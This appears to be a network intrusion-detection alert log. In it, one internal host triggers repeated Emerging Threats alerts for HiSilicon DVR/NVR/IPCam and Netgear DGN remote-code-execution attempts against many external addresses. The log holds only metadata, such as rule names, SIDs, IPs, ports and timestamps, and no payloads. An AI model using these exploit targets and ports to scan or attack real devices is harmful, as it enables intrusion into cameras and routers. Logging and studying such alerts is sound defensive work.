ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.129.11.88

Timestamp:	05/16/24-16:38:50.004139
SID:	2030487
Source Port:	38548
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.161.243.117

Timestamp:	05/16/24-16:39:16.579422
SID:	2030487
Source Port:	60078
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.147.153.196

Timestamp:	05/16/24-16:38:50.068355
SID:	2030488
Source Port:	35384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.147.153.196

Timestamp:	05/16/24-16:38:50.068355
SID:	2030487
Source Port:	35384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.120.234.237

Timestamp:	05/16/24-16:39:08.127256
SID:	2030487
Source Port:	57752
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 216.105.74.148

Timestamp:	05/16/24-16:39:08.127985
SID:	2030487
Source Port:	59532
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.120.234.237

Timestamp:	05/16/24-16:39:08.127256
SID:	2030488
Source Port:	57752
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 216.105.74.148

Timestamp:	05/16/24-16:39:08.127985
SID:	2030488
Source Port:	59532
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.129.140.169

Timestamp:	05/16/24-16:38:53.099147
SID:	2030488
Source Port:	54834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.129.140.169

Timestamp:	05/16/24-16:38:53.099147
SID:	2030487
Source Port:	54834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.161.243.117

Timestamp:	05/16/24-16:39:16.579422
SID:	2030488
Source Port:	60078
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.61.50.51

Timestamp:	05/16/24-16:38:55.201816
SID:	2030488
Source Port:	59414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.162.251.188

Timestamp:	05/16/24-16:38:59.557652
SID:	2030487
Source Port:	37930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.61.50.51

Timestamp:	05/16/24-16:38:55.201816
SID:	2030487
Source Port:	59414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.162.251.188

Timestamp:	05/16/24-16:38:59.557652
SID:	2030488
Source Port:	37930
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.112.55.129

Timestamp:	05/16/24-16:38:55.174170
SID:	2030488
Source Port:	52048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.214.41.14

Timestamp:	05/16/24-16:39:12.401731
SID:	2030487
Source Port:	52864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.112.55.129

Timestamp:	05/16/24-16:38:55.174170
SID:	2030487
Source Port:	52048
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.214.41.14

Timestamp:	05/16/24-16:39:12.401731
SID:	2030488
Source Port:	52864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.171.160.74

Timestamp:	05/16/24-16:39:16.580762
SID:	2030488
Source Port:	53800
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.171.160.74

Timestamp:	05/16/24-16:39:16.580762
SID:	2030487
Source Port:	53800
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 37.208.175.64

Timestamp:	05/16/24-16:39:13.662034
SID:	2034576
Source Port:	33188
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.17.75.175

Timestamp:	05/16/24-16:38:50.064127
SID:	2030487
Source Port:	40180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.17.75.175

Timestamp:	05/16/24-16:38:50.064127
SID:	2030488
Source Port:	40180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.80.39.175

Timestamp:	05/16/24-16:39:03.275985
SID:	2030488
Source Port:	33560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.80.39.175

Timestamp:	05/16/24-16:39:03.275985
SID:	2030487
Source Port:	33560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.129.181.208

Timestamp:	05/16/24-16:39:14.524537
SID:	2030488
Source Port:	48330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.129.181.208

Timestamp:	05/16/24-16:39:14.524537
SID:	2030487
Source Port:	48330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.196.181.85

Timestamp:	05/16/24-16:38:59.557105
SID:	2030487
Source Port:	53682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.196.181.85

Timestamp:	05/16/24-16:38:59.557105
SID:	2030488
Source Port:	53682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.1.79.18

Timestamp:	05/16/24-16:39:12.298335
SID:	2030487
Source Port:	53350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.1.79.18

Timestamp:	05/16/24-16:39:12.298335
SID:	2030488
Source Port:	53350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.6.215.222

Timestamp:	05/16/24-16:39:14.514794
SID:	2030488
Source Port:	52362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.183.48.122

Timestamp:	05/16/24-16:39:14.494579
SID:	2030487
Source Port:	57476
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.232.32.184

Timestamp:	05/16/24-16:39:05.709466
SID:	2030488
Source Port:	34816
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.6.215.222

Timestamp:	05/16/24-16:39:14.514794
SID:	2030487
Source Port:	52362
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.232.32.184

Timestamp:	05/16/24-16:39:05.709466
SID:	2030487
Source Port:	34816
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.191.225.152

Timestamp:	05/16/24-16:38:59.584385
SID:	2030488
Source Port:	56192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.191.225.152

Timestamp:	05/16/24-16:38:59.584385
SID:	2030487
Source Port:	56192
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.237.49.162

Timestamp:	05/16/24-16:38:57.436396
SID:	2030487
Source Port:	43170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.159.80.78

Timestamp:	05/16/24-16:39:08.041853
SID:	2030487
Source Port:	46002
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.159.80.78

Timestamp:	05/16/24-16:39:08.041853
SID:	2030488
Source Port:	46002
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.183.48.122

Timestamp:	05/16/24-16:39:14.494579
SID:	2030488
Source Port:	57476
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.221.66.74

Timestamp:	05/16/24-16:38:55.212282
SID:	2030488
Source Port:	58700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.221.66.74

Timestamp:	05/16/24-16:38:55.212282
SID:	2030487
Source Port:	58700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.237.49.162

Timestamp:	05/16/24-16:38:57.436396
SID:	2030488
Source Port:	43170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.130.15.165

Timestamp:	05/16/24-16:38:57.304838
SID:	2030487
Source Port:	37044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.130.15.165

Timestamp:	05/16/24-16:38:57.304838
SID:	2030488
Source Port:	37044
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.46.119.247

Timestamp:	05/16/24-16:39:12.303997
SID:	2030488
Source Port:	33468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.95.58.43

Timestamp:	05/16/24-16:39:12.301171
SID:	2030488
Source Port:	48638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.95.58.43

Timestamp:	05/16/24-16:39:12.301171
SID:	2030487
Source Port:	48638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.46.119.247

Timestamp:	05/16/24-16:39:12.303997
SID:	2030487
Source Port:	33468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.157.42.73

Timestamp:	05/16/24-16:38:55.175106
SID:	2030488
Source Port:	39784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.215.193.65

Timestamp:	05/16/24-16:39:02.762988
SID:	2030488
Source Port:	44300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 148.240.18.240

Timestamp:	05/16/24-16:39:08.093000
SID:	2030487
Source Port:	59464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.157.42.73

Timestamp:	05/16/24-16:38:55.175106
SID:	2030487
Source Port:	39784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.215.193.65

Timestamp:	05/16/24-16:39:02.762988
SID:	2030487
Source Port:	44300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 148.240.18.240

Timestamp:	05/16/24-16:39:08.093000
SID:	2030488
Source Port:	59464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.79.249.71

Timestamp:	05/16/24-16:39:16.579839
SID:	2030488
Source Port:	54898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.73.146.221

Timestamp:	05/16/24-16:38:50.068518
SID:	2030488
Source Port:	34298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.79.249.71

Timestamp:	05/16/24-16:39:16.579839
SID:	2030487
Source Port:	54898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.73.146.221

Timestamp:	05/16/24-16:38:50.068518
SID:	2030487
Source Port:	34298
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.74.19.145

Timestamp:	05/16/24-16:39:08.149113
SID:	2030488
Source Port:	47964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.156.136.7

Timestamp:	05/16/24-16:39:12.400554
SID:	2030487
Source Port:	44106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.74.19.145

Timestamp:	05/16/24-16:39:08.149113
SID:	2030487
Source Port:	47964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.156.136.7

Timestamp:	05/16/24-16:39:12.400554
SID:	2030488
Source Port:	44106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.136.247.68

Timestamp:	05/16/24-16:38:57.303907
SID:	2030487
Source Port:	50430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.12.78.9

Timestamp:	05/16/24-16:38:55.210426
SID:	2030487
Source Port:	52100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.12.78.9

Timestamp:	05/16/24-16:38:55.210426
SID:	2030488
Source Port:	52100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.112.104.22

Timestamp:	05/16/24-16:38:55.216372
SID:	2030487
Source Port:	51118
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.112.104.22

Timestamp:	05/16/24-16:38:55.216372
SID:	2030488
Source Port:	51118
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 185.146.61.7

Timestamp:	05/16/24-16:39:03.256814
SID:	2030488
Source Port:	51576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 185.146.61.7

Timestamp:	05/16/24-16:39:03.256814
SID:	2030487
Source Port:	51576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.167.225.130

Timestamp:	05/16/24-16:38:50.048858
SID:	2030487
Source Port:	42348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.167.225.130

Timestamp:	05/16/24-16:38:50.048858
SID:	2030488
Source Port:	42348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.217.226.176

Timestamp:	05/16/24-16:38:57.303954
SID:	2030487
Source Port:	58224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.217.226.176

Timestamp:	05/16/24-16:38:57.303954
SID:	2030488
Source Port:	58224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.94.248.49

Timestamp:	05/16/24-16:38:59.519446
SID:	2030487
Source Port:	47794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.94.248.49

Timestamp:	05/16/24-16:38:59.519446
SID:	2030488
Source Port:	47794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.77.226.151

Timestamp:	05/16/24-16:39:16.611860
SID:	2030488
Source Port:	34106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.81.134.74

Timestamp:	05/16/24-16:39:03.281226
SID:	2030488
Source Port:	55252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.77.226.151

Timestamp:	05/16/24-16:39:16.611860
SID:	2030487
Source Port:	34106
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.134.185.77

Timestamp:	05/16/24-16:38:49.277920
SID:	2024916
Source Port:	34702
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.81.134.74

Timestamp:	05/16/24-16:39:03.281226
SID:	2030487
Source Port:	55252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.179.163.144

Timestamp:	05/16/24-16:39:12.377541
SID:	2030488
Source Port:	50534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.82.112.243

Timestamp:	05/16/24-16:39:14.531140
SID:	2030488
Source Port:	52882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.74.115.47

Timestamp:	05/16/24-16:38:57.305818
SID:	2030488
Source Port:	60614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.74.115.47

Timestamp:	05/16/24-16:38:57.305818
SID:	2030487
Source Port:	60614
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.82.112.243

Timestamp:	05/16/24-16:39:14.531140
SID:	2030487
Source Port:	52882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.48.195.154

Timestamp:	05/16/24-16:39:05.676409
SID:	2030487
Source Port:	55434
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.48.195.154

Timestamp:	05/16/24-16:39:05.676409
SID:	2030488
Source Port:	55434
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.151.112.43

Timestamp:	05/16/24-16:39:05.677878
SID:	2030488
Source Port:	34140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.151.112.43

Timestamp:	05/16/24-16:39:05.677878
SID:	2030487
Source Port:	34140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 177.166.97.226

Timestamp:	05/16/24-16:38:53.011360
SID:	2030488
Source Port:	47492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.179.163.144

Timestamp:	05/16/24-16:39:12.377541
SID:	2030487
Source Port:	50534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.57.154.144

Timestamp:	05/16/24-16:39:16.607430
SID:	2030487
Source Port:	52122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 177.166.97.226

Timestamp:	05/16/24-16:38:53.011360
SID:	2030487
Source Port:	47492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.57.154.144

Timestamp:	05/16/24-16:39:16.607430
SID:	2030488
Source Port:	52122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.136.247.68

Timestamp:	05/16/24-16:38:57.303907
SID:	2030488
Source Port:	50430
Destination Port:	9530
Protocol:	TCP
